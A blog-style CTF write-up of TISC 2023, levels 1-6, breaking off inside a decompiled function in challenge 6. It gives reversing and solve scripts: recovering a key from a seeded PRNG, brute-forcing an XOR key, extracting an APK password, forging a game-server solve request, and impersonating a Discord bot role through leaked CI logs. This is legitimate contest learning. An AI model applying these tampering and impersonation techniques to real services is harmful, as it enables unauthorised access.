TISC 2023

Missing out on free moneyz
tiscctfpwnwebcrypto

I played TISC for ~two days and managed to reach to level 8. This is slightly worse than last year, especially since there are more winners this year. Here are the writeups for some of the challenges I solved.

Challenge 1

We are given a challenge.img file that looks like a disk image. You can open this using Autopsy and explore around.

One of the deleted files is f00000008.elf which is likely what the ‘catastrophic malware’ in the challenge description is talking about.

Opening this ELF file in IDA Pro gives the below code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // r12
 
  v3 = randstr;
  srand(0x1EFB171u);
  do
    *v3++ = rand() % 26 + 97;
  while ( v3 != &randstr[32] );
  printf("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}", randstr);
  return 0;
}

For whatever reason, I couldn’t run the binary. So I just rewrote it in python and solved it:

from ctypes import CDLL
 
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
 
libc.srand(0x1EFB171)
randstr = [0]*32
for i in range(32):
    randstr[i] = chr(libc.rand() % 26 + 97)
 
print(randstr)
 
print("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}"% (''.join( randstr)))

Challenge 2

We are given a binary as well as the source code.

int main(int argc, char **argv)
{
    char password[MAX_PASSWORD_SIZE + 1] = { 0 };
    int password_length;
 
    unsigned char key[32];
 
    printf("Hello PALINDROME member, please enter password:");
 
    password_length = input_password(password);
    if (password_length < 40) {
        printf("The password should be at least 40 characters as per PALINDROME's security policy.\n");
        exit(0);
    }
 
    if (!verify_password(password, password_length)) {
        initialise_key(key, password, password_length);
        show_welcome_msg(key);
    }
        
    else {
        printf("Failure! \n");
        exit(0);
    }
}
 

After we input our password, there is a verification method (below) that is hard to bypass since its a SHA256 check. After that, we initialize the key according to our password. show_welcome_msg does GCM decryption to print out the flag.

int verify_password(char *password, int password_length) {
    unsigned char mdVal[EVP_MAX_MD_SIZE];
    unsigned int i;
 
    calculate_sha256(mdVal, password, password_length);
 
    uint64_t hash[] = { 0x962fe02a147163af,
                        0x8003eb5b7ff75652,
                        0x3220981f9f027e35,
                        0xfb933faadd7944b7};
 
    return memcmp(mdVal, hash, 32);
}
 

The crux of this challenge is in initialise_key:

 
typedef struct uint256 {
    uint64_t a0;
    uint64_t a1;
    uint64_t a2;
    uint64_t a3;
} uint256_t;
 
 
void accumulate_xor(uint256_t *result, uint256_t *arr_entry) {
    result->a0 ^= arr_entry->a0;
    result->a1 ^= arr_entry->a1;
    result->a2 ^= arr_entry->a2;
    result->a3 ^= arr_entry->a3;
 
}
 
void initialise_key(unsigned char *key, char *password, int password_length) {
    const char *seed = "PALINDROME IS THE BEST!";
    int i, j;
    int counter = 0;
 
    uint256_t *key256  = (uint256_t *)key;
 
    key256->a0 = 0;
    key256->a1 = 0;
    key256->a2 = 0;
    key256->a3 = 0;
 
    uint256_t arr[20] = { 0 };
 
    calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
 
    for (i = 1; i < 20; i++) {
        calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
    }
 
    for (i = 0; i < password_length; i++) {
        int ch = password[i];
        for (j = 0; j < 8; j++) {
            counter = counter % 20;
 
            if (ch & 0x1) {
                accumulate_xor(key256, arr+counter);
            }
 
            ch = ch >> 1;
            counter++;
        }
    }
}

We initialize arr[20] with repeating SHA256 hashing of the salt. When we iterate through the password, we see that all that happens is that we have accumulate_xor (which is just int256 xor) running on each bit of the character (result in key256), with a wraparound at the 20th bit seen.

This means that key256 is a xor of entries in arr[20]. Notably, we realize that the actual content of password and its length does not matter - due to the nature of xor, each arr[i] is either XOR’ed with key256 or it is not. This results in only 2^20 possibilities and is easy to bruteforce.

Here is a script to do that using C:

int main(int argc, char **argv)
{
    unsigned char key[32];
 
    const char *seed = "PALINDROME IS THE BEST!";
    int i, j;
    int counter = 0;
 
    uint256_t *key256  = (uint256_t *)key;
 
    key256->a0 = 0;
    key256->a1 = 0;
    key256->a2 = 0;
    key256->a3 = 0;
 
    uint256_t arr[20] = { 0 };
 
    calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));
 
    for (i = 1; i < 20; i++) {
        calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
    }
    
    for (int i = 0; i < 1 << 20; i++) {
        memset(key, 0, 32);
        for (int x = 0; x < 20; x++) {
            if ((i >> x) & 1) accumulate_xor(key256, &arr[x]);
        }
        
        if (i % 1000) { // just to alert
            printf("%d\n", i);
        }
        
        if (show_welcome_msg(key)) {
            break;
        }
    }
}

Challenge 3

We are given a file called kpa.apk. Supposedly you can’t just directly run this, there are supposed to be bytes at the end that are missing. Since apk files are just glorified zip files, I used 7zip (which is one of the more resilient software around there) to extract the classes.dex (compiled sources) and other folders such as resources.

We can then use any DEX decompiler to get the source code out. One of interesting entries is in com.tisc.kappa.MainActivity:

// ...
 
/* renamed from: com.tisc.kappa.MainActivity$c */
class C1053c implements View.OnClickListener {
    C1053c() {
    }
 
    public void onClick(View view) {
        ((TextView) MainActivity.this.findViewById(C1227d.f5032f)).setVisibility(4);
        ((TextView) MainActivity.this.findViewById(C1227d.f5027a)).setVisibility(4);
        try {
            ((InputMethodManager) MainActivity.this.getSystemService("input_method")).hideSoftInputFromWindow(MainActivity.this.getCurrentFocus().getWindowToken(), 0);
        } catch (Exception unused) {
        }
        String obj = ((EditText) MainActivity.this.findViewById(C1227d.f5028b)).getText().toString();
        if (obj.length() == 25) {
            MainActivity.this.m5574Q(C1227d.f5032f, 3000);
            MainActivity.this.m5570M(obj);
            return;
        }
        MainActivity.this.m5574Q(C1227d.f5027a, 3000);
    }
}
 
/* access modifiers changed from: private */
/* renamed from: M */
public void m5570M(String str) {
    char[] charArray = str.toCharArray();
    String valueOf = String.valueOf(charArray);
    for (int i = 0; i < 1024; i++) {
        valueOf = hash(valueOf, "SHA1");
    }
    if (!valueOf.equals("d8655ddb9b7e6962350cc68a60e02cc3dd910583")) {
        ((TextView) findViewById(C1227d.f5032f)).setVisibility(4);
        m5574Q(C1227d.f5027a, 3000);
        return;
    }
    char[] copyOf = Arrays.copyOf(charArray, charArray.length);
    charArray[0] = (char) ((copyOf[24] * 2) + 1);
    charArray[1] = (char) (((copyOf[23] - 1) / 4) * 3);
    charArray[2] = Character.toLowerCase(copyOf[22]);
    charArray[3] = (char) (copyOf[21] + '&');
    charArray[4] = (char) ((Math.floorDiv(copyOf[20], 3) * 5) + 4);
    charArray[5] = (char) (copyOf[19] - 1);
    charArray[6] = (char) (copyOf[18] + '1');
    charArray[7] = (char) (copyOf[17] + 18);
    charArray[8] = (char) ((copyOf[16] + 19) / 3);
    charArray[9] = (char) (copyOf[15] + '%');
    charArray[10] = (char) (copyOf[14] + '2');
    charArray[11] = (char) (((copyOf[13] / 5) + 1) * 3);
    charArray[12] = (char) ((Math.floorDiv(copyOf[12], 9) + 5) * 9);
    charArray[13] = (char) (copyOf[11] + 21);
    charArray[14] = (char) ((copyOf[10] / 2) - 6);
    charArray[15] = (char) (copyOf[9] + 2);
    charArray[16] = (char) (copyOf[8] - 24);
    charArray[17] = (char) ((int) (((double) copyOf[7]) + Math.pow(4.0d, 2.0d)));
    charArray[18] = (char) ((copyOf[6] - 9) / 2);
    charArray[19] = (char) (copyOf[5] + 8);
    charArray[20] = copyOf[4];
    charArray[21] = (char) (copyOf[3] - '\"');
    charArray[22] = (char) ((copyOf[2] * 2) - 20);
    charArray[23] = (char) ((copyOf[1] / 2) + 8);
    charArray[24] = (char) ((copyOf[0] + 1) / 2);
    m5573P("The secret you want is TISC{" + String.valueOf(charArray) + "}", "CONGRATULATIONS!", "YAY");
}
// ...

as well as com.tisc.kappa.C1054sw:

package com.tisc.kappa;
 
/* renamed from: com.tisc.kappa.sw */
public class C1054sw {
    static {
        System.loadLibrary("kappa");
    }
 
    /* renamed from: a */
    public static void m5575a() {
        try {
            System.setProperty("KAPPA", css());
        } catch (Exception unused) {
        }
    }
 
    private static native String css();
}

We can see that we need to input some 25-length password which has a SHA1 hash that matches their hash. Afterwards, the letters are shuffled slightly and the flag is printed.

Now this makes no sense at first - since SHA1 hashes are still not very bruteforceable at this time. It’s a little disconnected, but the 25-length password is in the kappa library (css method) that is loaded and never used.

__int64 __fastcall JNI_OnLoad(__int64 a1)
{
  unsigned int v1; // ebx
  __int64 v2; // rbx
  int v4; // [rsp+9h] [rbp-5Fh] BYREF
  void *v5[3]; // [rsp+20h] [rbp-48h] BYREF
  __int64 env; // [rsp+38h] [rbp-30h] BYREF
  __int64 v7[5]; // [rsp+40h] [rbp-28h] BYREF
 
  v7[3] = __readfsqword(0x28u);
  v1 = 0;
  if ( !(*(unsigned int (__fastcall **)(__int64, __int64 *, __int64))(*(_QWORD *)a1 + 48LL))(a1, &env, 65542LL) )
  {
    strcpy((char *)v5, "\"com/tisc/kappa/sw");
    v4 = 'ssc';
    v2 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)env + 48LL))(env, (char *)v5 + 1);
    if ( (*(unsigned __int8 (__fastcall **)(__int64))(*(_QWORD *)env + 1824LL))(env) )
    {
      v1 = -1;
      (*(void (__fastcall **)(__int64))(*(_QWORD *)env + 128LL))(env);
    }
    else
    {
      v7[0] = (__int64)&v4;
      v7[1] = (__int64)"()Ljava/lang/String;";
      v7[2] = (__int64)sub_201F0;
      (*(void (__fastcall **)(__int64, __int64, __int64 *, __int64))(*(_QWORD *)env + 1720LL))(env, v2, v7, 1LL);
      v1 = 65542;
    }
    if ( ((__int64)v5[0] & 1) != 0 )
      operator delete(v5[2]);
  }
  return v1;
}

The library creates a binding between sub_201F0 and the css method.

__int64 __fastcall sub_201F0(__int64 a1)
{
  unsigned int v2; // eax
  bool v3; // r11
  char v4; // dl
  unsigned int v5; // esi
  __int64 v6; // rcx
  unsigned __int64 v7; // rdi
  bool v8; // cc
  _BYTE *v9; // rdi
  __int64 v10; // rcx
  char v11; // dl
  unsigned __int64 v12; // rbx
  unsigned __int64 v13; // rsi
  _BYTE *v14; // rdi
  char *v15; // rsi
  __int64 v16; // rbx
  char v18; // [rsp+8h] [rbp-60h] BYREF
  char v19; // [rsp+9h] [rbp-5Fh] BYREF
  void *v20; // [rsp+18h] [rbp-50h]
  unsigned __int8 v21; // [rsp+20h] [rbp-48h] BYREF
  _BYTE memarr1[15]; // [rsp+21h] [rbp-47h] BYREF
  void *v23; // [rsp+30h] [rbp-38h]
  unsigned __int8 v24; // [rsp+38h] [rbp-30h] BYREF
  _BYTE memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF
  void *ptr; // [rsp+48h] [rbp-20h]
  unsigned __int64 v27; // [rsp+50h] [rbp-18h]
 
  v27 = __readfsqword(0x28u);
  v24 = 26;
  *(_QWORD *)memarr0 = 0x2201290711231241LL;
  *(_QWORD *)&memarr0[5] = 0x54010C170C220129LL;
  memarr0[13] = 0;
  v2 = 0;
  v3 = 1;
  v4 = 20;
  v5 = 0;
  v6 = 0LL;
  do
  {
    v4 += v6;
    if ( (_DWORD)v6 == 5 * (v5 / 5) )
      v4 = 96;
    v9 = memarr0;
    if ( !v3 )
      v9 = ptr;
    v9[v6 + 1] ^= v4;
    v3 = (v24 & 1) == 0;
    if ( (v24 & 1) != 0 )
      v7 = *(_QWORD *)&memarr0[7];
    else
      v7 = (unsigned __int64)v24 >> 1;
    ++v5;
    v8 = v7 <= v6 + 2;
    ++v6;
  }
  while ( !v8 );
  v21 = 24;
  LOBYTE(v10) = 1;
  *(_QWORD *)memarr1 = 0xA100F091B190957LL;
  *(_DWORD *)&memarr1[8] = 1929976078;
  memarr1[12] = 0;
  v11 = 28;
  v12 = 0LL;
  do
  {
    v14 = memarr1;
    if ( (v10 & 1) == 0 )
      v14 = v23;
    v10 = 3 * (v2 / 3);
    v14[v12] ^= v11;
    v11 += v12;
    if ( (_DWORD)v12 == (_DWORD)v10 )
      v11 = 72;
    ++v12;
    LOBYTE(v10) = (v21 & 1) == 0;
    if ( (v21 & 1) != 0 )
      v13 = *(_QWORD *)&memarr1[7];
    else
      v13 = (unsigned __int64)v21 >> 1;
    ++v2;
  }
  while ( v13 > v12 );
  std::operator+<char>(&v18, &v24, &v21, v10, memarr1, 0xAAAAAAABLL);
  if ( (v18 & 1) != 0 )
    v15 = (char *)v20;
  else
    v15 = &v19;
  v16 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 1336LL))(a1, v15);
  if ( (v18 & 1) == 0 )
  {
    if ( (v21 & 1) == 0 )
      goto LABEL_24;
LABEL_28:
    operator delete(v23);
    if ( (v24 & 1) == 0 )
      return v16;
    goto LABEL_25;
  }
  operator delete(v20);
  if ( (v21 & 1) != 0 )
    goto LABEL_28;
LABEL_24:
  if ( (v24 & 1) != 0 )
LABEL_25:
    operator delete(ptr);
  return v16;
}

I really didn’t want to reverse this nonsense, but you’ll see that the return value is v16, and there are no parameters. So we can just emulate this by running the C code ourselves:

int main() {
  unsigned int v2; // eax
  int v3; // r11
  char v4; // dl
  unsigned int v5; // esi
  long long v6; // rcx
  unsigned char v7; // rdi
  int v8; // cc
  char *v9; // rdi
  long long v10; // rcx
  char v11; // dl
  unsigned long long v12; // rbx
  unsigned long long v13; // rsi
  char *v14; // rdi
  char *v15; // rsi
  unsigned long long v16; // rbx
 
  struct __attribute__((__packed__)) 
{
  char v18; // [rsp+8h] [rbp-60h] BYREF
  char v19; // [rsp+9h] [rbp-5Fh] BYREF
  char _pad[0x10-2];
  void *v20; // [rsp+18h] [rbp-50h]
             //
  unsigned char v21; // [rsp+20h] [rbp-48h] BYREF
  char memarr1[15]; // [rsp+21h] [rbp-47h] BYREF
  void *v23; // [rsp+30h] [rbp-38h]
  unsigned char v24; // [rsp+38h] [rbp-30h] BYREF
  char memarr0[15]; // [rsp+39h] [rbp-2Fh] BYREF
  void *ptr; // [rsp+48h] [rbp-20h]
  unsigned char v27; // [rsp+50h] [rbp-18h]
} _;
 
 
  _.v24 = 26;
  *(long *)_.memarr0 = 0x2201290711231241LL;
  *(long *)&_.memarr0[5] = 0x54010C170C220129LL;
  _.memarr0[13] = 0;
  v2 = 0;
  v3 = 1;
  v4 = 20;
  v5 = 0;
  v6 = 0LL;
  do
  {
    v4 += v6;
    if ( (unsigned)v6 == 5 * (v5 / 5) )
      v4 = 96;
    v9 = _.memarr0;
    if ( !v3 )
      v9 = _.ptr;
    v9[v6 + 1] ^= v4;
    v3 = (_.v24 & 1) == 0;
    if ( (_.v24 & 1) != 0 )
      v7 = *(unsigned long long *)&_.memarr0[7];
    else
      v7 = (unsigned long long)_.v24 >> 1;
    ++v5;
    v8 = v7 <= v6 + 2;
    ++v6;
  }
  while ( !v8 );
  _.v21 = 24;
  v10 = 1; // LOBYTE
  *(unsigned long long *)_.memarr1 = 0xA100F091B190957LL;
  *(unsigned int *)&_.memarr1[8] = 1929976078;
  _.memarr1[12] = 0;
  v11 = 28;
  v12 = 0LL;
  do
  {
    v14 = _.memarr1;
    if ( (v10 & 1) == 0 )
      v14 = _.v23;
    v10 = 3 * (v2 / 3);
    v14[v12] ^= v11;
    v11 += v12;
    if ( (unsigned int)v12 == (unsigned int)v10 )
      v11 = 72;
    ++v12;
    v10 = (_.v21 & 1) == 0;
    if ( (_.v21 & 1) != 0 )
      v13 = *(unsigned long long *)&_.memarr1[7];
    else
      v13 = (unsigned long long)_.v21 >> 1;
    ++v2;
  }
  while ( v13 > v12 );
  
    if ( (_.v18 & 1) != 0 )
    v15 = (char *)_.v20;
  else
    v15 = &_.v19;
 
  printf("%s", v15);
  //printf("%s", _.v20);
  printf("%s", &_.v19);
}

Note the packed struct used for the non-register fields. This is to ensure they maintain the same memory layout as in the decompiler. After running this, I don’t get the password; but after some memory inspection, the text ArBraCaDabra? and KAPPACABANA! is left in memory (my script probably references the wrong memory still).

Appending these to each other and using them as the password, we get the flag:

copyOf = [ord(i) for i in "ArBraCaDabra?KAPPACABANA!"]
charArray = [0]*25
 
charArray[0] =  ((copyOf[24] * 2) + 1)
charArray[1] =  (((copyOf[23] - 1) // 4) * 3)
charArray[2] = ord(chr(copyOf[22]).lower())
charArray[3] =  (copyOf[21] + ord('&'))
charArray[4] =  ((copyOf[20]// 3) * 5) + 4
charArray[5] =  (copyOf[19] - 1)
charArray[6] =  (copyOf[18] + ord('1'))
charArray[7] =  (copyOf[17] + 18)
charArray[8] =  ((copyOf[16] + 19) // 3)
charArray[9] =  (copyOf[15] + ord('%'))
charArray[10] =  (copyOf[14] + ord('2'))
charArray[11] =  (((copyOf[13] // 5) + 1) * 3)
charArray[12] =  ((copyOf[12]// 9) + 5) * 9
charArray[13] =  (copyOf[11] + 21)
charArray[14] =  ((copyOf[10] // 2) - 6)
charArray[15] =  (copyOf[9] + 2)
charArray[16] =  (copyOf[8] - 24)
charArray[17] =  (copyOf[7] + 16 )
charArray[18] =  ((copyOf[6] - 9) // 2)
charArray[19] =  (copyOf[5] + 8)
charArray[20] = copyOf[4]
charArray[21] =  (copyOf[3] - ord('\"'))
charArray[22] =  ((copyOf[2] * 2) - 20)
charArray[23] =  ((copyOf[1] // 2) + 8)
charArray[24] =  ((copyOf[0] + 1) // 2)
print(charArray)
print("The secret you want is TISC{" + ''.join(chr(c) for c in charArray) + "}", "CONGRATULATIONS!", "YAY")
 

Challenge 4

We are given binaries of the game. A quick lookaround shows that its Electron-based, so I extracted the app.asar file. The minified source code of the game is provided as well. Here are the important bits:

const Du = ee,
    ju = "http://rubg.chals.tisc23.ctf.sg:34567",
    Sr = Du.create({
        baseURL: ju
    });
    
    
async function Hu() {
    return (await Sr.get("/generate")).data
}
async function $u(e) {
    return (await Sr.post("/solve", e)).data
}
async function ku() {
    return (await Sr.get("/")).data
}
const Ku = "" + new URL("bomb-47e36b1b.wav", import.meta.url).href,
    qu = "" + new URL("gameover-c91fde36.wav", import.meta.url).href,
    _s = "" + new URL("victory-3e1ba9c7.wav", import.meta.url).href
 
// ...
      
df = Zs({
    __name: "BattleShips",
    setup(e) {
        const t = Ke([0]),
            n = Ke(BigInt("0")),
            r = Ke(BigInt("0")),
            s = Ke(0),
            o = Ke(""),
            i = Ke(100),
            l = Ke(new Array(256).fill(0)),
            c = Ke([]);
 
        function f(x) {
            let _ = [];
            for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
            return _
        }
 
        function d(x) {
            return (t.value[Math.floor(x / 16)] >> x % 16 & 1) === 1
        }
        async function m(x) {
            if (d(x)) {
                if (t.value[Math.floor(x / 16)] ^= 1 << x % 16, l.value[x] = 1, new Audio(Ku).play(), c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`), t.value.every(_ => _ === 0))
 
                    if (JSON.stringify(c.value) === JSON.stringify([...c.value].sort())) {
                        const _ = {
                            a: [...c.value].sort().join(""),
                            b: s.value
                        };
                        i.value = 101, o.value = (await $u(_)).flag, new Audio(_s).play(), i.value = 4
                    } else i.value = 3, new Audio(_s).play()
            } else i.value = 2, new Audio(qu).play()
        }
        async function E() {
            i.value = 101;
            let x = await Hu();
            // t = a, n = b, r = c, s = d
            t.value = f(x), n.value = BigInt(x.b), r.value = BigInt(x.c), s.value = x.d, i.value = 1, l.value.fill(0), c.value = [], o.value = ""
        }
        return _r(async () => {
            await ku() === "pong" && (i.value = 0)
        }), (x, _) => (de(), pe(me, null, [i.value === 100 ? (de(), pe("div", zu, Ju)) : Me("", !0), i.value === 101 ? (de(), pe("div", Vu, Xu)) : Me("", !0), i.value === 0 ? (de(), pe("div", Qu, [Zu, W("div", null, [W("button", {
            onClick: _[0] || (_[0] = y => E())
        }, "START GAME")])])) : Me("", !0), i.value === 1 ? (de(), pe("div", Gu, [(de(), pe(me, null, al(256, y => W("button", {
            ref_for: !0,
            ref: "shipCell",
            class: on(l.value[y - 1] === 1 ? "cell hit" : "cell"),
            onClick: H => m(y - 1),
            disabled: l.value[y - 1] === 1
        }, null, 10, ef)), 64))])) : Me("", !0), i.value === 2 ? (de(), pe("div", tf, [nf, W("div", null, [W("button", {
            onClick: _[1] || (_[1] = y => E())
        }, "RETRY")])])) : Me("", !0), i.value === 3 ? (de(), pe("div", rf, [sf, W("div", null, [W("button", {
            onClick: _[2] || (_[2] = y => E())
        }, "RETRY")])])) : Me("", !0), i.value === 4 ? (de(), pe("div", of, [lf, o.value ? (de(), pe("div", cf, ko(o.value), 1)) : Me("", !0)])) : Me("", !0), i.value !== 100 ? (de(), pe("audio", uf, af)) : Me("", !0)], 64))
    }
});

After the HTTP methods (seems like axios?) setup, we have a component that is minified. E seems to be called first to setup, and it calls Hu to call the /generate endpoint.

The response is used to formulate the variables t, n, r, s. t is an array of integers representing a row on the map (so each bit is a cell). Every time we click on a cell it checks the bit at the row,col index to see if its 1 (implying that this is the battleship valid position).

To check if have solved it (and in the correct order) it does c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`) for each cell clicked, and checks JSON.stringify(c.value) === JSON.stringify([...c.value].sort()), so there is a order required for the button presses. This is still easy to derive however, since we ourselves can just sort it.

(async () => {
    const req = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/generate');
    const gen = await req.json();
    const c = [];
    const n = BigInt(gen.b);
    const r = BigInt(gen.c);
    const s = gen.d;
 
    function f(x) {
        let _ = [];
        for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
        return _
    }
 
    const t = f(gen);
    console.log('t', t);
    
    for (x = 0; x < 256; x++) {
        if (t[Math.floor(x/16)] >> x % 16 & 1 === 1) {
            c.push(`${n.toString(16).padStart(16,"0")[15-x%16]}${r.toString(16).padStart(16,"0")[Math.floor(x/16)]}`)
        }
    }
 
    const _ = {
        a: [...c].sort().join(""),
        b: s
    };
    
    const solvereq = await fetch('http://rubg.chals.tisc23.ctf.sg:34567/solve', {
        method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify(_)
    });
    const data = await solvereq.text();
    console.log(data);
})()
 

Challenge 5

The most annoying challenge out of all of them :) , but still requires skill so I won’t complain (that much).

We are given a link to a Github Repo. One of the commits mentions that the build fails, so checking the Github Actions log shows some info:

We can see the host, port, and url of the web request we are making. Navigating to the site shows a platform to get a discord invite as a bot role. I used this client below that totally looks a scam so I ran it in my VM to impersonate the bot role.

Logging in gives access to a #meeting-records channel where there is a thread with funny messages:

It talks about permission 66688 which I originally read as intent 66688 and wasted some time trying to see what I could do with that.

Permission 66688 also includes View Audit permissions, so I wrote a small script to extract all audit events:

One of the audit logs includes a link for a BetterInvites bot which gives access to the #flag channel.

Challenge 6

It’s here that the challenges split between Web and Pwn categories. I choose to do the Pwn track (even though the Web track honestly looked easier) since I wanted to see how hard it could get.

The challenge was a binary called 4d. Initially I thought it was Golang-based but it turns out it was Vlang-based. The calling convention and decompilations looked so similar.

Anyway, the server shows a index page that subscribes to a Server-Sent Events endpoint. The endpoint generates 4d numbers, then checks if shuffling some per-user data will yield a certain condition:

void *__usercall main__compare@<rax>(vstr keyMix@<^0.16>)
{
  int v1; // edx
  int v2; // ecx
  int v3; // r8d
  int v4; // r9d
  int v5; // edx
  int v6; // ecx
  int v7; // r8d
  int v8; // r9d
  int v9; // edx
  int v10; // ecx
  int v11; // r8d
  int v12; // r9d
  int v13; // edx
  int v14; // ecx
  int v15; // r8d
  int v16; // r9d
  int v17; // edx
  int v18; // ecx
  int v19; // r8d
  int v20; // r9d
  int v21; // edx
  int v22; // ecx
  int v23; // r8d
  int v24; // r9d
  int v25; // edx
  int v26; // ecx
  int v27; // r8d
  int v28; // r9d
  int v29; // edx
  int v30; // ecx
  int v31; // r8d
  int v32; // r9d
  int v33; // edx
  int v34; // ecx
  int v35; // r8d
  int v36; // r9d
  int v37; // edx
  int v38; // ecx
  int v39; // r8d
  int v40; // r9d
  int v41; // edx
  int v42; // ecx
  int v43; // r8d
  int v44; // r9d
  int v45; // edx
  int v46; // ecx
  int v47; // r8d
  int v48; // r9d
  int v49; // edx
  int v50; // ecx
  int v51; // r8d
  int v52; // r9d
  int v53; // edx
  int v54; // ecx
  int v55; // r8d
  int v56; // r9d
  int v57; // edx
  int v58; // ecx
  int v59; // r8d
  int v60; // r9d
  int v61; // edx
  int v62; // ecx
  int v63; // r8d
  int v64; // r9d
  int v65; // edx
  int v66; // ecx
  int v67; // r8d
  int v68; // r9d
  int v69; // edx
  int v70; // ecx
  int v71; // r8d
  int v72; // r9d
  int v73; // edx
  int v74; // ecx
  int v75; // r8d
  int v76; // r9d
  int v77; // edx
  int v78; // ecx
  int v79; // r8d
  int v80; // r9d
  int v81; // edx
  int v82; // ecx
  int v83; // r8d
  int v84; // r9d
  int v85; // edx
  int v86; // ecx
  int v87; // r8d
  int v88; // r9d
  int v89; // edx
  int v90; // ecx
  int v91; // r8d
  int v92; // r9d
  int v93; // edx
  int v94; // ecx
  int v95; // r8d
  int v96; // r9d
  int v97; // edx
  int v98; // ecx
  int v99; // r8d
  int v100; // r9d
  int v101; // edx
  int v102; // ecx
  int v103; // r8d
  int v104; // r9d
  int v105; // edx
  int v106; // ecx
  int v107; // r8d
  int v108; // r9d
  int v109; // edx
  int v110; // ecx
  int v111; // r8d
  int v112; // r9d
  int v113; // edx
  int v114; // ecx
  int v115; // r8d
  int v116; // r9d
  int v117; // edx
  int v118; // ecx
  int v119; // r8d
  int v120; // r9d
  int v121; // edx
  int v122; // ecx
  int v123; // r8d
  int v124; // r9d
  int v125; // edx
  int v126; // ecx
  int v127; // r8d
  int v128; // r9d
  vstr v130; // [rsp-20h] [rbp-30h] BYREF
  int v131; // [rsp-10h] [rbp-20h]
  int v132; // [rsp-8h] [rbp-18h]
  void *dest; // [rsp+8h] [rbp-8h]
 
  if ( keyMix.len != 32 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(31, (unsigned int)&keyMix, v1, v2, v3, v4, v130.ptr, v130.ref, v131, v132) != 118 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(19, (unsigned int)&keyMix, v5, v6, v7, v8, v130.ptr, v130.ref, v131, v132) )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(21, (unsigned int)&keyMix, v9, v10, v11, v12, v130.ptr, v130.ref, v131, v132) != 87 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(13, (unsigned int)&keyMix, v13, v14, v15, v16, v130.ptr, v130.ref, v131, v132) != 19 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(30, (unsigned int)&keyMix, v17, v18, v19, v20, v130.ptr, v130.ref, v131, v132) != 110 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(14, (unsigned int)&keyMix, v21, v22, v23, v24, v130.ptr, v130.ref, v131, v132) != 84 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(20, (unsigned int)&keyMix, v25, v26, v27, v28, v130.ptr, v130.ref, v131, v132) != 63 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(24, (unsigned int)&keyMix, v29, v30, v31, v32, v130.ptr, v130.ref, v131, v132) != 91 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(12, (unsigned int)&keyMix, v33, v34, v35, v36, v130.ptr, v130.ref, v131, v132) != 43 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(29, (unsigned int)&keyMix, v37, v38, v39, v40, v130.ptr, v130.ref, v131, v132) != 22 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(11, (unsigned int)&keyMix, v41, v42, v43, v44, v130.ptr, v130.ref, v131, v132) != 104 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(10, (unsigned int)&keyMix, v45, v46, v47, v48, v130.ptr, v130.ref, v131, v132) != 17 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(2, (unsigned int)&keyMix, v49, v50, v51, v52, v130.ptr, v130.ref, v131, v132) != 100 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(6, (unsigned int)&keyMix, v53, v54, v55, v56, v130.ptr, v130.ref, v131, v132) != 23 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(0, (unsigned int)&keyMix, v57, v58, v59, v60, v130.ptr, v130.ref, v131, v132) != 106 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(18, (unsigned int)&keyMix, v61, v62, v63, v64, v130.ptr, v130.ref, v131, v132) != 40 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
